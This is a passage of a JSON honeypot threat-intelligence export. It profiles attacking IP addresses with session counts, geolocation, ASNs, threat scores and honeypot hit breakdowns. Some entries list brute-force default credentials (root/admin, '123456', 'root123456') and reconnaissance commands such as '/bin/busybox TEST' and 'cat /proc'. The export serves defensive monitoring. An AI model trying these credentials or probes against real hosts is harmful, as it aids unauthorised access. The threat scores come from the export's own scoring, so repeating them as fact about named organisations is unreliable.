      "first_seen": "2026-05-15T17:44:55.133Z",
      "last_seen": "2026-05-15T17:47:58.545Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 13.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T17:44:55.133000+00:00",
        "last_seen_30d": "2026-05-15T17:48:59.040000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "189.167.3.26": {
      "attack_count": 22,
      "first_seen": "2026-05-16T14:02:39.383Z",
      "last_seen": "2026-05-16T14:08:47.039Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Tlaxcala City",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T14:02:39.383000+00:00",
        "last_seen_30d": "2026-05-16T14:09:52.322000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 12
      }
    },
    "200.208.237.147": {
      "attack_count": 22,
      "first_seen": "2026-05-24T21:12:35.193Z",
      "last_seen": "2026-05-24T21:24:44.482Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ananindeua",
      "asn": 4230,
      "as_org": "CLARO S.A.",
      "threat_score": 21.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T21:12:35.193000+00:00",
        "last_seen_30d": "2026-05-24T21:35:39.674000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 13
      }
    },
    "185.226.93.120": {
      "attack_count": 21,
      "first_seen": "2026-05-24T09:40:03.293Z",
      "last_seen": "2026-05-24T09:40:17.315Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user"
      ],
      "passwords_attempted": [
        "",
        "123456",
        "admin",
        "user"
      ],
      "commands_executed": [
        "./",
        "/bin/busybox TEST",
        "cat /proc",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 205196,
      "as_org": "Big Core LLC",
      "threat_score": 53.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.4,
        "persistence": 9.2,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 11,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-19T19:51:20.122000+00:00",
        "last_seen_30d": "2026-05-29T09:29:45.614000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 20,
        "Honeytrap": 2,
        "Honeyaml": 1
      }
    },
    "195.238.126.207": {
      "attack_count": 18,
      "first_seen": "2026-05-03T03:13:30.887Z",
      "last_seen": "2026-05-31T11:58:37.743Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lithuania",
      "country_code": "LT",
      "city": null,
      "asn": 56630,
      "as_org": "Melbikomas UAB",
      "threat_score": 49.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.2,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T03:13:30.887000+00:00",
        "last_seen_30d": "2026-05-31T11:59:42.052000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "115.191.43.197": {
      "attack_count": 17,
      "first_seen": "2026-05-16T20:13:10.177Z",
      "last_seen": "2026-05-16T20:15:20.606Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T20:13:10.177000+00:00",
        "last_seen_30d": "2026-05-16T20:26:07.660000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 9
      }
    },
    "103.203.57.11": {
      "attack_count": 12,
      "first_seen": "2026-05-04T10:26:39.294Z",
      "last_seen": "2026-05-27T12:50:22.655Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 136180,
      "as_org": "Beijing Tiantexin Tech. Co., Ltd.",
      "threat_score": 40.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.8,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T10:26:39.294000+00:00",
        "last_seen_30d": "2026-05-27T12:51:29.697000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 12
      }
    },
    "201.238.34.161": {
      "attack_count": 12,
      "first_seen": "2026-05-19T12:41:01.434Z",
      "last_seen": "2026-05-19T14:49:50.945Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T12:41:01.434000+00:00",
        "last_seen_30d": "2026-05-19T14:50:53.562000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 6
      }
    },
    "66.132.224.232": {
      "attack_count": 12,
      "first_seen": "2026-05-02T22:31:42.890Z",
      "last_seen": "2026-05-05T15:31:15.062Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 137,
        "days_active_30d": 30,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T10:34:54.575000+00:00",
        "last_seen_30d": "2026-05-31T15:35:08.002000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 76,
        "Honeytrap": 34,
        "Cowrie": 12,
        "Redishoneypot": 6,
        "ConPot": 4,
        "Dionaea": 3,
        "Dicompot": 1,
        "Sentrypeer": 1
      }
    },
    "134.209.23.167": {
      "attack_count": 8,
      "first_seen": "2026-05-12T19:51:49.154Z",
      "last_seen": "2026-05-12T19:52:43.248Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 138324,
        "days_active_30d": 1,
        "ports_targeted_30d": 66220,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-05-12T19:49:20+00:00",
        "last_seen_30d": "2026-05-12T20:03:19.916000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 120440,
        "Honeytrap": 17824,
        "Mailoney": 12,
        "ConPot": 9,
        "Dionaea": 9,
        "Cowrie": 8,
        "Miniprint": 8,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "74.249.129.23": {
      "attack_count": 8,
      "first_seen": "2026-05-08T10:54:42.226Z",
      "last_seen": "2026-05-09T16:42:34.147Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 57.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.2,
        "persistence": 19.2,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 23,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-05T15:48:09.154000+00:00",
        "last_seen_30d": "2026-05-27T20:38:13.219000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Cowrie": 8,
        "Honeytrap": 5,
        "ElasticPot": 1
      }
    },
    "172.236.228.86": {
      "attack_count": 7,
      "first_seen": "2026-05-11T23:43:47.394Z",
      "last_seen": "2026-05-11T23:43:47.670Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 88.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 29,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T10:01:58+00:00",
        "last_seen_30d": "2026-05-31T02:31:14.827000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 55,
        "Honeytrap": 26,
        "Cowrie": 7,
        "Dicompot": 2,
        "Tanner": 1
      }
    },
    "20.65.138.97": {
      "attack_count": 7,
      "first_seen": "2026-05-25T15:02:52.281Z",
      "last_seen": "2026-05-25T15:03:02.286Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 68.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.0,
        "persistence": 25,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 30,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T21:21:11.961000+00:00",
        "last_seen_30d": "2026-05-31T07:06:19.199000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Cowrie": 7,
        "Honeytrap": 7
      }
    },
    "3.19.74.31": {
      "attack_count": 7,
      "first_seen": "2026-05-27T11:33:58.652Z",
      "last_seen": "2026-05-27T11:36:06.559Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 37.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.8,
        "persistence": 0.8,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 1,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-27T11:14:28+00:00",
        "last_seen_30d": "2026-05-27T12:07:59.917000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Honeytrap": 19,
        "Cowrie": 7
      }
    },
    "181.80.15.126": {
      "attack_count": 6,
      "first_seen": "2026-05-23T21:21:27.342Z",
      "last_seen": "2026-05-23T21:25:28.964Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Buenos Aires",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T21:21:27.342000+00:00",
        "last_seen_30d": "2026-05-23T21:27:06.353000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "187.181.177.252": {
      "attack_count": 6,
      "first_seen": "2026-05-06T06:07:56.485Z",
      "last_seen": "2026-05-06T06:12:05.402Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Balne\u00e1rio Cambori\u00fa",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T06:07:56.485000+00:00",
        "last_seen_30d": "2026-05-06T06:22:07.428000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6
      }
    },
    "201.238.0.51": {
      "attack_count": 6,
      "first_seen": "2026-05-19T19:02:25.078Z",
      "last_seen": "2026-05-19T20:06:10.996Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T19:02:25.078000+00:00",
        "last_seen_30d": "2026-05-19T20:07:12.626000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "65.108.242.92": {
      "attack_count": 6,
      "first_seen": "2026-05-09T09:51:55.509Z",
      "last_seen": "2026-05-09T09:52:03.129Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T09:51:55.509000+00:00",
        "last_seen_30d": "2026-05-09T09:53:12.216000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "66.132.172.40": {
      "attack_count": 6,
      "first_seen": "2026-05-31T04:32:22.205Z",
      "last_seen": "2026-05-31T04:32:56.776Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 30,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T00:22:46+00:00",
        "last_seen_30d": "2026-05-31T04:33:58.183000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 125,
        "Honeytrap": 39,
        "ElasticPot": 8,
        "Cowrie": 6,
        "CitrixHoneypot": 4,
        "Honeyaml": 3,
        "Sentrypeer": 1
      }
    },
    "45.43.37.254": {
      "attack_count": 5,
      "first_seen": "2026-05-14T15:55:52.944Z",
      "last_seen": "2026-05-14T15:55:55.050Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 60.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.6,
        "persistence": 19.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 23,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-08T13:35:43.960000+00:00",
        "last_seen_30d": "2026-05-30T07:20:24.918000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 65,
        "Tanner": 44,
        "Cowrie": 5
      }
    },
    "14.103.46.177": {
      "attack_count": 4,
      "first_seen": "2026-05-02T08:36:41.679Z",
      "last_seen": "2026-05-02T08:38:41.681Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T08:36:41.679000+00:00",
        "last_seen_30d": "2026-05-02T08:49:39.135000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "172.105.177.106": {
      "attack_count": 4,
      "first_seen": "2026-05-07T01:20:01.872Z",
      "last_seen": "2026-05-07T01:20:05.655Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 2876,
        "days_active_30d": 1,
        "ports_targeted_30d": 1509,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-07T01:19:33+00:00",
        "last_seen_30d": "2026-05-07T01:30:14.281000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1522,
        "Honeytrap": 1323,
        "Dionaea": 9,
        "ConPot": 8,
        "Cowrie": 4,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Redishoneypot": 2,
        "Sentrypeer": 1
      }
    },
    "201.238.1.122": {
      "attack_count": 4,
      "first_seen": "2026-05-20T17:18:27.625Z",
      "last_seen": "2026-05-20T17:39:59.243Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T17:18:27.625000+00:00",
        "last_seen_30d": "2026-05-20T17:41:06.343000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "45.9.29.219": {
      "attack_count": 4,
      "first_seen": "2026-05-02T03:30:22.962Z",
      "last_seen": "2026-05-02T03:34:24.710Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Pisochyn",
      "asn": 62206,
      "as_org": "Pitline Ltd",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T03:30:22.962000+00:00",
        "last_seen_30d": "2026-05-02T03:35:34.812000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "65.49.1.199": {
      "attack_count": 4,
      "first_seen": "2026-05-25T13:06:51.233Z",
      "last_seen": "2026-05-25T13:06:55.233Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 72.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.1,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 27,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T07:04:23.968000+00:00",
        "last_seen_30d": "2026-05-31T01:50:04.455000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Honeytrap": 6,
        "Cowrie": 4
      }
    },
    "66.132.195.109": {
      "attack_count": 4,
      "first_seen": "2026-05-05T09:14:32.587Z",
      "last_seen": "2026-05-05T09:14:47.588Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 69.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.6,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 144,
        "days_active_30d": 24,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T00:18:36.448000+00:00",
        "last_seen_30d": "2026-05-25T06:39:54.583000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 110,
        "Ciscoasa": 12,
        "ElasticPot": 7,
        "CitrixHoneypot": 5,
        "Honeytrap": 5,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "66.132.195.88": {
      "attack_count": 4,
